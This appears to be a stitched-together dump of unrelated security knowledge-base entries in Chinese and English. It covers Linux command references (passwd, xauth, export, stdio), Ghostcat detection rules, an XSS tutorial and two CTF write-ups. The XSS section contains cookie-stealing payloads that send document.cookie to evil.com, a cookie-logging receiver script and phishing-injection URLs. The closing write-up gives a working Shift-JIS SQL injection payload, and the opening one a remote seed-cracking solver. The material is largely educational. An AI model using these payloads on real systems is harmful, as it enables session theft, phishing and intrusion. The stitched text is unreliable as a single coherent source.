time_t seed = 0; for(seed = 1612994400; seed <= 1613080800; seed++) { srand(seed); for(i = 0; i < 10; i++) { if(genrate_random_number(0, 9) != password_start[i]) { break; } } if(i == 10) { printf("%ld\n", seed); break; } } return 0; } ``` However, that did not produce any result. Moving the borders to account for time zone differences didn't help either. Of course, there is the possibility that the random number generator used wasn't `C`'s `rand()`. Eventually, we found the sequence using Python's `random.getrandbits(32)`: > random.getrandbits(k) > > Returns a non-negative Python integer with k random bits. This method is supplied with the MersenneTwister generator [...] In retrospective, the number of digits in the password (624) must have been a hint towards MersenneTwister: > [The algorithm] Is not cryptographically secure, unless the CryptMT variant is used. The reason is that observing a sufficient number of iterations (624 in the case of MT19937, since this is the size of the state vector from which future iterations are produced) allows one to predict all future iterations. (Source: [Wikipedia](https://en.wikipedia.org/wiki/Mersenne_Twister)) The following script finds the correct seed and uses it to reveal the password and retrieve the flag: ```python from pwn import * from enum import Enum import time import datetime import random PASSWORD_LENGTH = 624 def unix_timestamp(str_date): return int(time.mktime(datetime.datetime.strptime(str_date, "%d/%m/%Y").timetuple())) def get_next_rand_digit(): return (random.getrandbits(32) % 10) def check_seed_for_sequence(seed, expected_sequence): random.seed(seed) for i in range(len(expected_sequence)): if get_next_rand_digit() != expected_sequence[i]: return False return True class MenuChoice(Enum): GUESSING_MODE = 1 SUBMIT_PASSWORD = 2 QUIT = -1 def guess_digit(guess): r.sendline(guess) return r.recvlineS() def select_menu(choice: MenuChoice): r.sendlineafter("***********************************\n\n", str(choice.value)) def send_password(password): log.info(f"Sending password: {password}") r.sendlineafter("Submit your password", password) r = remote("challenges.ctfd.io", 30440) password_start = [1, 0, 5, 8, 4, 6, 3, 0, 2, 5] for seed in range(unix_timestamp("11/02/2021"), unix_timestamp("12/02/2021")): if check_seed_for_sequence(seed, password_start): log.info(f"Found seed: {seed}") random.seed(seed) select_menu(MenuChoice.SUBMIT_PASSWORD) send_password("".join(str(get_next_rand_digit()) for _ in range(PASSWORD_LENGTH))) log.info(f"Output: {r.recvallS()}") break ``` Output: ```console root@kali:/media/sf_CTFs/matrix/The_Vault_1# python3 solve.py [+] Opening connection to challenges.ctfd.io on port 30440: Done [*] Found seed: 1613053800 [*] Sending password: 105846302539567938323405515907032807907801091773011706044271195994443208898169677363135818467136596423209485460630398794491415901426456402515606463701758925768303806593250551966946582551120972955792537234384190960653110911971174771203307355681959233622484611316162932533877064250050702977290979129186854138495573314830568647290765162367145645428622165525086589282575839772809420620840571670358662507863187590578755528758367653681902083272904922515602281014957090759964606180357842719471913474692861377576392031374601472715845201601647073678993273558789889817945056411998821374340019602248308637258481221609292777211234811600 [+] Receiving all data: Done (67B) [*] Closed connection to challenges.ctfd.io port 30440 [*] Output: Congrats !!! Your flag: MCL{T1m3_1s_4n_Illu5i0n_T1m1ng_1s_4n_AR7} ```
sec-knowleage
passwd === 用于让用户可以更改自己的密码 ## 补充说明 **passwd命令** 用于设置用户的认证信息,包括用户密码、密码过期时间等。系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称,一般用户只能变更自己的密码。 ### 语法 ```shell passwd(选项)(参数) ``` ### 选项 ```shell -d:删除密码,仅有系统管理者才能使用; -f:强制执行; -k:设置只有在密码过期失效后,方能更新; -l:锁住密码; -s:列出密码的相关信息,仅有系统管理者才能使用; -u:解开已上锁的帐号。 ``` ### 参数 用户名:需要设置密码的用户名。 ### 知识扩展 与用户、组账户信息相关的文件 存放用户信息: ```shell /etc/passwd /etc/shadow ``` 存放组信息: ```shell /etc/group /etc/gshadow ``` 用户信息文件分析(每项用`:`隔开) ```shell 例如:jack:X:503:504:::/home/jack/:/bin/bash jack  # 用户名 X  # 口令、密码 503  # 用户id(0代表root、普通新建用户从500开始) 504  # 所在组 :  # 描述 /home/jack/  # 用户主目录 /bin/bash  # 用户缺省Shell ``` 组信息文件分析 ```shell 例如:jack:$!$:???:13801:0:99999:7:*:*: jack  # 组名 $!$  # 被加密的口令 13801  # 创建日期与今天相隔的天数 0  # 口令最短位数 99999  # 用户口令 7  # 到7天时提醒 *  # 禁用天数 *  # 过期天数 ``` ### 实例 如果是普通用户执行passwd只能修改自己的密码。如果新建用户后,要为新用户创建密码,则用passwd用户名,注意要以root用户的权限来创建。 ```shell [root@localhost ~]# passwd linuxde # 更改或创建linuxde用户的密码; Changing password for user linuxde. New UNIX password: # 请输入新密码; Retype new UNIX password: # 再输入一次; passwd: all authentication tokens updated successfully. # 成功; ``` 普通用户如果想更改自己的密码,直接运行passwd即可,比如当前操作的用户是linuxde。 ```shell [linuxde@localhost ~]$ passwd Changing password for user linuxde. # 更改linuxde用户的密码; (current) UNIX password: # 请输入当前密码; New UNIX password: # 请输入新密码; Retype new UNIX password: # 确认新密码; passwd: all authentication tokens updated successfully. # 更改成功; ``` 比如我们让某个用户不能修改密码,可以用`-l`选项来锁定: ```shell [root@localhost ~]# passwd -l linuxde # 锁定用户linuxde不能更改密码; Locking password for user linuxde. passwd: Success # 锁定成功; [linuxde@localhost ~]# su linuxde # 通过su切换到linuxde用户; [linuxde@localhost ~]$ passwd # linuxde来更改密码; Changing password for user linuxde. Changing password for linuxde (current) UNIX password: # 输入linuxde的当前密码; passwd: Authentication token manipulation error # 失败,不能更改密码; ``` 再来一例: ```shell [root@localhost ~]# passwd -d linuxde # 清除linuxde用户密码; Removing password for user linuxde. passwd: Success # 清除成功; [root@localhost ~]# passwd -S linuxde # 查询linuxde用户密码状态; Empty password. # 空密码,也就是没有密码; ``` 注意:当我们清除一个用户的密码时,登录时就无需密码,这一点要加以注意。
sec-knowleage
xauth === 显示和编辑被用于连接X服务器的认证信息 ## 补充说明 **xauth命令** 用于显示和编辑被用于连接X服务器的认证信息。 ### 语法 ```shell xauth(选项)(参数) ``` ### 选项 ```shell -f:不使用默认的认证文件,而使用指定的认证文件; -q:安静模式,不打印未请求的状态信息; -v:详细模式,打印指定的各种操作信息; -i:忽略认证文件锁定; -b:执行任何操作,终端认证文件锁定。 ``` ### 参数 * add:添加认证条目到认证文件中; * extract:将指定的设备内容加入到指定的密码文件中; * info:显示授权文件相关信息; * exit:退出交互模式; * list:列出给定的显示设备的内容; * merge:合并多个授权文件内容; * extract:将指定设备内容写入指定的授权文件; * nextrct:将指定设备内容写入指定的授权文件; * nmerge:合并多个授权文件内容; * remove:删除指定显示设备的授权条目; * source:从指定文件读取包含xauth的内容指令。
sec-knowleage
.\" Copyright (c) 1990, 1991 Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" @(#)stdio.3 6.5 (Berkeley) 5/6/91 .\" .\" Converted for Linux, Mon Nov 29 16:07:22 1993, faith@cs.unc.edu .\" Modified, 2001-12-26, aeb .\" .TH STDIO 3 2001-12-26 "" "Linux Programmer's Manual" .SH NAME stdio \- 标准输入输出库函数 .SH "SYNOPSIS 总览" .B #include <stdio.h> .sp .B FILE *stdin; .br .B FILE *stdout; .br .B FILE *stderr; .SH "DESCRIPTION 描述" 标注 I/O 库函数提供了一个简单而有效的,带缓冲的流输出输出接口。输入和输出被映射为逻辑的数据流,物理的 I/O 特性则被隐藏起来。库中包含的函数与宏列在下面;更多信息可以从独立的 man 手册页中得到。 .PP 将一个流关联到一个外部文件 (可能是一个物理设备) 的方法是打开 ( .I opening ) 这个文件,其中可能牵涉到创建一个新文件。创建已有的文件使得文件中已有的内容被丢弃。如果文件支持定位请求 (例如磁盘文件;但终端不是这样),那么一个与文件关联的定位标记 ( .I file position indicator ) 被定位到文件的起始 (0 字节),除非以追加模式打开文件。使用追加模式时,究竟定位标记位于文件的开始还是结束是没有指定的。定位标记由后续的读、写和定位请求来维护。从流中输入时,就如同字符是连续地成功调用了函数 .BR fgetc (3) 而读入的;产生输出时,就如同所有字符是连续地成功调用了函数 .BR fputc (3) 而输出的。 .PP 将一个流与一个与之关联的文件断开的办法是关闭 ( .I closing ) 这个文件。在流与文件断开之前,输出流被刷新 (任何未写入的缓冲的内容都被传输给主机环境)。在文件被关闭之后,指向 .B FILE 对象的指针的值是不确定的 (无用数据)。 .PP 一个文件可以继续被相同的或是不同的程序实体再次打开,它的内容可以被恢复或者修改 (如果它可以被重定位到文件开始的话)。如果 main 函数返回到它最初的调用者,或者调用了函数 .BR exit (3) ,在程序终止前,所有打开的文件都将被关闭 (因此所有的输出流都被刷新)。其他终止程序的方法,例如 .BR abort (3) 不会进行正常的关闭文件操作。 .PP 在程序启动时,会预先定义三个文本流,它们不需要显式地打开 \(em .I 标准输入 (用于读入常规内容),\(em .I 标准输出 (用于输出常规内容),以及 .I 标准错误 (用于输出诊断信息)。这些流的缩写是 .IR stdin,stdout 和 .IR stderr 。在打开时,标准错误流不会完全缓冲;当且仅当流不是一个交互的设备时,标准输入和标准输出流才被完全缓冲。 .PP 指向终端设备的输出流总是默认使用行缓冲;未定的输出总是在指向一个终端设备的输入流被读取时自动被写入。如果在一个输出终端上打印了一行的一部分,然后运行了大量的计算后,应当在退出和计算前 .BR fflush (3) 标准输出,使得输出可以显示出来。(?) .PP 标准输入输出库 .B stdio 是函数库 .B libc 的一部分,需要时可以被编译器 .BR cc (1) 和 .BR pc (1) 自动加载。下列手册页的 .B "SYNOPSIS 总览" 段落会指出要包含哪些文件,函数定义的格式,以及它们受到哪些外部变量的影响。 .PP 下列为已定义的宏;如果不用 .BR #undef 取消这些名称的当前定义的话,是不能重新使用它们的: .BR BUFSIZ , .BR EOF , .BR FILENAME_MAX , .BR FOPEN_MAX , .BR L_cuserid , .BR L_ctermid , .BR L_tmpnam, .BR NULL , .BR SEEK_END , .BR SEEK_SET , .BR SEE_CUR , .BR TMP_MAX , .BR clearerr , .BR feof , .BR ferror , .BR fileno , .BR fropen , .BR fwopen , .BR getc , .BR getchar , .BR putc , .BR putchar , .BR stderr , .BR stdin , .BR stdout . 另外,还有与这些宏的功能对应的,函数形式的版本 .BR feof , .BR ferror , .BR clearerr , .BR fileno , .BR getc , .BR getchar , .BR putc , 和 .B putchar ,在显式地取消宏的定义时,可以使用它们。 .SH "LIST OF FUNCTIONS 函数列表" .TP 10n .B "Function 函数" .B "Description 描述" .TP .B clearerr 检测并重置流状态 .TP .B fclose 关闭流 .TP .B fdopen 打开流 .TP .B feof 检测并重置流状态 .TP .B ferror 检测并重置流状态 .TP .B fflush 刷新流 .TP .B fgetc 从输入流中获取下一个字符或词 .\" .TP .\" .B fgetline .\" get a line from a stream (BSD only; renamed to fgetln()) .TP .B fgetpos 重定位流 .TP .B fgets 从流中获取一行 .TP .B fileno 返回流参数的整数形式的描述符 .TP .B fopen 打开流 .TP .B fprintf 按照格式输出常规内容 .TP .B fpurge 刷新流 .TP .B fputc 向流输出一个字符或词 .TP .B fputs 向流输出一行 .TP .B fread 二进制输入/输出 .TP .B freopen 打开流 .TP .B fropen 打开流 .TP .B fscanf 按照格式输入常规内容 .TP .B fseek 重定位流 .TP .B fsetpos 重定位流 .TP .B ftell 重定位流 .TP .B fwrite 二进制输入/输出 .TP .B getc 从输入流中获取下一个字符或词 .TP .B getchar 从输入流中获取下一个字符或词 .TP .B gets 从流中获取一行 .TP .B getw 从输入流中获取下一个字符或词 .TP .B mktemp 创建 (唯一的) 临时文件名 .TP .B perror 系统错误消息 .TP .B printf 按照格式输出常规内容 .TP .B putc 向流输出一个字符或词 .TP .B putchar 向流输出一个字符或词 .TP .B puts 向流输出一行 .TP .B putw 向流输出一个字符或词 .TP .B remove 删除目录项 .TP .B rewind 重定位流 .TP .B scanf 按照格式输入常规内容 .TP .B setbuf 流缓冲操作 .TP .B setbuffer 流缓冲操作 .TP .B setlinebuf 流缓冲操作 .TP .B setvbuf 流缓冲操作 .TP .B sprintf 按照格式输出常规内容 .TP .B sscanf 按照格式输入常规内容 .TP .B strerror 系统错误消息 .TP .B sys_errlist 系统错误消息 .TP .B sys_nerr 系统错误消息 .TP .B tempnam 临时文件控制 .TP .B tmpfile 临时文件控制 .TP .B tmpnam 临时文件控制 .TP .B ungetc 向输入流中退回字符 .TP .B vfprintf 按照格式输出常规内容 .TP .B vfscanf 按照格式输入常规内容 .TP .B vprintf 按照格式输出常规内容 .TP .B vscanf 按照格式输入常规内容 .TP .B vsprintf 按照格式输出常规内容 .TP .B vsscanf 按照格式输入常规内容 .SH "CONFORMING TO 标准参考" 函数库 .B stdio 遵循 ANSI X3.159-1989 (``ANSI C'') 标准。 .SH "SEE ALSO 参见" .BR open (2), .BR close (2), .BR read (2), .BR write (2), .BR stdout (3)
sec-knowleage
# T1190-CVE-2020-1938漏洞利用检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2020-1938漏洞 2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。 ## 测试案例 具体复测可以参考 - Apache Tomcat文件包含漏洞 (CVE-2020-1938) 分析:<https://www.secrss.com/articles/17267> ## 检测日志 HTTP流量 ## 测试复现 可参考上述测试案例 ## 测试留痕 HTTP流量检测规则基于payload关键词进行检测 ## 检测规则/思路 ### Suricata检测规则 ```yml # CNVD-2020-10487 CVE-2020-1938 alert tcp any any -> any 8009 (msg:"CNVD-2020-10487 Ghostcat"; content:"javax|2e|servlet|2e|include|2e|request_uri"; content:"javax|2e|servlet|2e|include|2e|path_info"; content:"javax|2e|servlet|2e|include|2e|servlet_path"; reference:url,www.anquanke.com/post/id/199351; classtype:tomcat; sid:202002211; rev:1;) ``` ### Bro检测规则 ```yml module EXPLOIT; event tcp_packet(c: connection, is_orig: bool, flags: string, seq: count, ack: count, len: count, payload: string) { if ( (c$id$resp_p == 8009/tcp) && /javax\.servlet\.include\.request_uri/ in payload && /javax\.servlet\.include\.path_info/ in payload && /javax\.servlet\.include\.servlet_path/ in payload) { local rec: EXPLOIT::Info = [$ts=c$start_time, $src_ip=c$id$orig_h, $src_port=c$id$orig_p, $dst_ip=c$id$resp_h, $dst_port=c$id$resp_p, $vul_payload=payload, $vul_describe="CVE-2020-1938 Ghostcat", $vul_refer="https://www.anquanke.com/post/id/199351", $vul_level="high"]; Log::write(EXPLOIT::LOG, rec); } ``` 检测规则转载自:**<https://github.com/DaemonShao/CVE-2020-1938>** ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> CVE-2020-1938检测规则 <https://github.com/DaemonShao/CVE-2020-1938>
sec-knowleage
### XSS 简介 跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。 ### 反射型 XSS介绍 反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。 反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。 服务器端代码: ```php <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?> ``` 可以看到,代码直接引用了 `name` 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。 ### 持久型 XSS介绍 持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。 此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。 服务器端代码: ```php <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?> ``` 代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。 ### DOM XSS漏洞介绍 传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。 HTML 代码: ```html <html> <head> <title>DOM-XSS test</title> </head> <body> <script> var a=document.URL; document.write(a.substring(a.indexOf("a=")+2,a.length)); </script> </body> </html> ``` 将代码保存在 domXSS.html 中,浏览器访问: ``` http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script> ``` 即可触发 XSS 漏洞。 ### 利用XSS进行Cookies 窃取实现方式 攻击者可以使用以下代码获取客户端的 Cookies 信息: ```html <script> document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie </script> <img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img> ``` 在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下: ```asp <% msg=Request.ServerVariables("QUERY_STRING") testfile=Server.MapPath("cookie.txt") set fs=server.CreateObject("Scripting.filesystemobject") set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.Writeline(""&msg& "") thisfile.close set fs=nothing %> ``` ```php <?php $cookie = $_GET['cookie']; $log = fopen("cookie.txt", "a"); fwrite($log, $cookie . "\n"); fclose($log); ?> ``` 攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。 ### 利用XSS进行会话劫持实现方式 由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。 如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。 比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。 ### 利用XSS进行钓鱼实现方式 - 重定向钓鱼 把当前页面重定向到一个钓鱼页面。 ``` http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script> ``` - HTML 注入式钓鱼 使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。 ``` http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html> ``` 该段代码会在正常页面中嵌入一个 Form 表单。 - iframe 钓鱼 这种方式是通过 `<iframe>` 标签嵌入远程域的一个页面实施钓鱼。 ``` http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe> ``` - Flash 钓鱼 将构造好的 Flash 文件传入服务器,在目标网站用 `<object>` 或 `<embed>` 标签引用即可。 - 高级钓鱼技术 注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。 ### 利用XSS进行网页挂马实现方式 一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 `<iframe>` 标签。 ### 利用XSS漏洞的DOS 与 DDOS 注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。 ### XSS 蠕虫攻击方法 通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。 ## Self-XSS 变废为宝的场景 Self-XSS 顾名思义,就是一个具有 XSS 漏洞的点只能由攻击者本身触发,即自己打自己的攻击。比如个人隐私的输入点存在 XSS。但是由于这个隐私信息只能由用户本人查看也就无法用于攻击其他人。这类漏洞通常危害很小,显得有些鸡肋。但是在一些具体的场景下,结合其他漏洞(比如 CSRF )就能将 Self-XSS 转变为具有危害的漏洞。下面将总结一些常见可利用 Self-XSS 的场景。 - 登录登出存在 CSRF,个人信息存在 Self-XSS,第三方登录 这种场景一般的利用流程是首先攻击者在个人信息 XSS 点注入 Payload,然后攻击者制造一个恶意页面诱导受害者访问,恶意页面执行以下操作: 1. 恶意页面执行利用 CSRF 让受害者登录攻击者的个人信息位置,触发 XSS payload 2. JavaScript Payload 生成 `<iframe>` 标签,并在框架内执行以下这些操作 3. 让受害者登出攻击者的账号 4. 然后使得受害者通过 CSRF 登录到自己的账户个人信息界面 5. 攻击者从页面提取 CSRF Token 6. 然后可以使用 CSRF Token 提交修改用户的个人信息 这种攻击流程需要注意几个地方:第三步登录是不需要用户交互的,利用 Google Sign In 等非密码登录方式登录;**X-Frame-Options** 需要被设置为同源(该页面可以在相同域名页面的 `iframe` 中展示 ) - 登录存在 CSRF,账户信息存在 Self-XSS,OAUTH 认证 1. 让用户退出账户页面,但是不退出 OAUTH 的授权页面,这是为了保证用户能重新登录其账户页面 2. 让用户登录我们的账户页面出现 XSS,利用 使用 `<iframe>` 标签等执行恶意代码 3. 登录回他们各自的账户,但是我们的 XSS 已经窃取到 Session
sec-knowleage
## Good Morning (web, 3 points, 110 solves) http://52.86.232.163:32800/ https://s3.amazonaws.com/bostonkeyparty/2016/bffb53340f566aef7c4169d6b74bbe01be56ad18.tgz In this task we were given a source of web survey. It used MySQL in backend to store our answers. The script was not using prepared statements, so we quickly came to conclusion that there has to be a SQL injection possible. Unfortunately, our input was escaped before passing to MySQL library. However, they use their home-made escaping function instead of properly tested official ones. Because the site was in Japanese, they used Shift-JIS character encoding. One of the oddities conencted to this encoding is that it changes position of backslash - 0x5C, which is ASCII backslash, in SJIS means yen. The websocket and Python script itself (including escaping function) use Unicode, so we can send `[yen]" stuff`, which will be converted by escaping function to `[yen]\" stuff`, and then converted to SJIS `0x5C\" stuff`. Since 0x5C is equivalent to backslash, that means our input will be interpreted as one escaped backslash, followed by unescaped quote, enabling us to put arbitrary SQL code there. Proof: ``` >>> print mysql_escape(json.loads('{"type":"get_answer","question":"q","answer":"\u00a5\\\""}')["answer"]).encode("sjis") \\" ``` Exploiting via Chrome developer console: ``` socket.onmessage=function(e){console.log(e.data);}; socket.send('{"type":"get_answer","question":"q","answer":"\u00a5\\\" OR 1=1 -- "}') VM416:2 {"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]} ```
sec-knowleage
export === 为shell变量或函数设置导出属性。 ## 概要 ``` export [-fn] [name[=word]]... export -p ``` ## 主要用途 - 定义一到多个变量并设置导出属性。 - 修改一到多个变量的值并设置导出属性。 - 删除一到多个变量的导出属性。 - 显示全部拥有导出属性的变量。 - 为一到多个已定义函数新增导出属性。 - 删除一到多个函数的导出属性。 - 显示全部拥有导出属性的函数。 ## 选项 ```shell -f:指向函数。 -n:删除变量的导出属性。 -p:显示全部拥有导出属性的变量。 -pf:显示全部拥有导出属性的函数。 -nf:删除函数的导出属性。 --:在它之后的选项无效。 ``` ## 参数 name(可选):变量名或已定义函数名。 value(可选):变量的值。 ### 返回值 export返回true除非你提供了非法选项或非法名称。 ## 例子 ```shell # 显示全部拥有导出属性的变量。 # export -p # export # 显示全部拥有导出属性的函数。 # export -pf ``` ```shell # 首先删除要演示的变量名 #unset a b # 定义变量的同时增加导出属性 export a b=3 # 当然也可以先定义后增加导出属性 b=3 export b # 修改拥有导出属性的变量的值 export a=5 b=7 # 当然也可以直接赋值修改 a=5;b=7 # 删除变量的导出属性 export -n a b ``` ```shell # 首先删除要演示的函数名 unset func_1 func_2 # 创建函数 function func_1(){ echo '123'; } function func_2(){ echo '890'; } # 为已定义函数增加导出属性 export -f func_1 func_2 # 删除函数的导出属性 export -fn a b ``` ```shell # 添加环境变量(JAVA)到`~/.bashrc` PATH=/usr/local/jdk1.7.0/bin:$PATH # 添加当前位置到动态库环境变量 export LD_LIBRARY_PATH=$(pwd):${LD_LIBRARY_PATH} ``` ## 错误用法 - 对未定义的函数添加导出属性。 - 对没有导出属性的函数/变量执行删除导出属性操作。 - 在 `--` 后使用选项。 ## Q&A #### Q:对变量或函数设置导出属性有什么用? A:它们会成为环境变量,可以在脚本中访问它们,尤其是脚本中调用的子进程需要时。( **[参考链接4][4]** ) #### Q:如果我编写的脚本修改了已有的环境变量的值,那么执行它会在当前终端生效吗?会影响之前以及之后打开的终端吗? A:只有通过`source`方式调用的脚本会生效,您可以查看`source`命令获得更多信息;其他方式只是在子shell中执行。 之前的不会影响,之后的除非是修改了`~/.bashrc`这种启动终端时加载的脚本。( **[参考链接1][1]** ) #### Q:我脚本文件中调用`~/.bashrc`中定义的函数和变量。为什么在新打开的终端中通过 `sh` 方式调用该脚本或直接运行 这个当前用户有执行权限的脚本却不能使用这些函数和变量? A:请在`~/.bashrc`文件中增加export它们的语句。另请参阅 **知识点** 段落。 #### Q:数组和关联数组也可以设置导出属性吗? A:是可以的(如果你的bash支持它们),不过有些问题( **[参考链接2][2]** )。 #### Q:为什么我在查看变量或函数导出属性的时候显示的开头是`declare`? A:因为`declare`也能够设置变量或函数的导出属性,详见`declare`命令。 ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 ### 知识点 在`info bash`或 [bash在线文档](http://www.gnu.org/software/bash/manual/bash.html) 的 `3.7.3`节提到了shell执行环境,其中涉及变量和函数的内容如下 > - shell parameters that are set by variable assignment or with set or inherited from the shell’s parent in the environment > - shell functions defined during execution or inherited from the shell’s parent in the environment 那么第一句话中的参数又和变量有什么关系呢?在`3.4`节第一段中提到: > A variable is a parameter denoted by a name. 变量是有名字的参数。 那么子shell确实继承了父shell中带有导出属性的变量或函数。 可参考链接: [执行脚本方式的区别](https://blog.csdn.net/soaringlee_fighting/article/details/78759448) ### 参考链接 1. [关于bashrc profile文件的讨论][1] 2. [关于export数组的讨论][2] 3. [export -pf用法][3] 4. [环境变量和shell变量的区别][4] ### 扩展阅读 一般来说,配置交叉编译工具链的时候需要指定编译工具的路径,此时就需要设置环境变量。查看已经存在的环境变量: ```shell [root@localhost ~]# export declare -x G_BROKEN_FILENAMES="1" declare -x HISTSIZE="1000" declare -x HOME="/root" declare -x hostname="localhost" declare -x 